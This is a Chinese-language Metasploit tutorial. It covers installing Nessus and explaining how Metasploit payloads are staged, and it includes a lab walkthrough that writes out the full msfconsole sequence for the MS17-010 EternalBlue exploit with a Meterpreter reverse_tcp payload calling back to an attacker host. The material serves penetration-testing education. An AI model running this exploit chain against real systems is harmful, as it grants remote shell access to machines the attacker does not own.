Metasploit 進階第三講
深入理解攻擊載荷
01 Nesus介紹、安裝及使用
Nessus介紹
Nessus是一款著名的漏洞掃描及分析工具,提供完整的漏洞掃描服務,並隨時更新漏洞數據庫。
采用B/S模式,服務器端負責執行具體的掃描任務,客戶端負責管理配置服務器端,在服務器端還采用plug-in體系,支持客戶端加入自定義插件,其運作效能隨系統資源而自行調整。
Nessus安裝&使用
1.https://www.tenable.com/downloads/nessus ->Nessus下載、獲取激活碼
2.dpkg -I Nessus-8.3.1-debian6_amd64/i386.deb ->Nessus安裝
3./etc/init.d/nessusd start ->Nessus服務器端啟動
Register for an Activation Co
4.https://127.0.0.1:8834/ ->客戶端訪問(添加例外)獲取激活碼:
https://www.tenable.com/products/nessus-home
實操:利用ms2017-010攻擊目標主機
ms17-010漏洞出現在Windows SMBv1中的內核態函數srv4SrvOs2FeaListToNt。
在將FEA list轉換成NTFEA(Windows NT FEA)list前會調用srv.SrvOs2FeaListSizeToNt去計算轉換后的FEAlist的大小,因計算大小錯誤,而導致緩沖區溢出。
Msfconsole
Search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.24.142
show payloads
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.24.137
run
深入理解payload
payload是什么?
payload字面意思是有效攻擊載荷,包含需要在遠程主機上運行的惡意代碼。
payload和exploit的區別?
exploit是傳送系統(運載火箭),payload是用來實際做什么事的代碼(彈頭)
payload命名規則:
Staged payload:<platform>/[archl/stage>/<stager>
Single payload:<platform>/[arch]/ssingle>
其中arch可選,因為不必要或已默認,如:php/meterpreter/reverse_tcp
payload的分類:
single、stager、stage三種。其中:
single:是一種完全獨立的Payload。如:meterpreter_reverse_tcp
stager:負責建立目標用戶與攻擊者之間的網絡連接,將執行傳遞到另一個階段。
如:reverse_tcp、bind_tcp
作用:
1.允許我們使用較小的有效載荷去加載具有更多功能的較大的payload。
2.使通信機制與最終階段分離成為可能。
stage:提供更高級的功能,且沒有大小限制(因為stager為stage分配了大量內存)
如:meterpreter
stager和stage就像web入侵里面提到的小馬和大馬一樣,由於exploit環境的限制,可能不能一下子把stage傳過去,需要先傳一個stager,stager在attacker和target之間建立網絡連接,之后再把stage傳過去進行下一步的行動。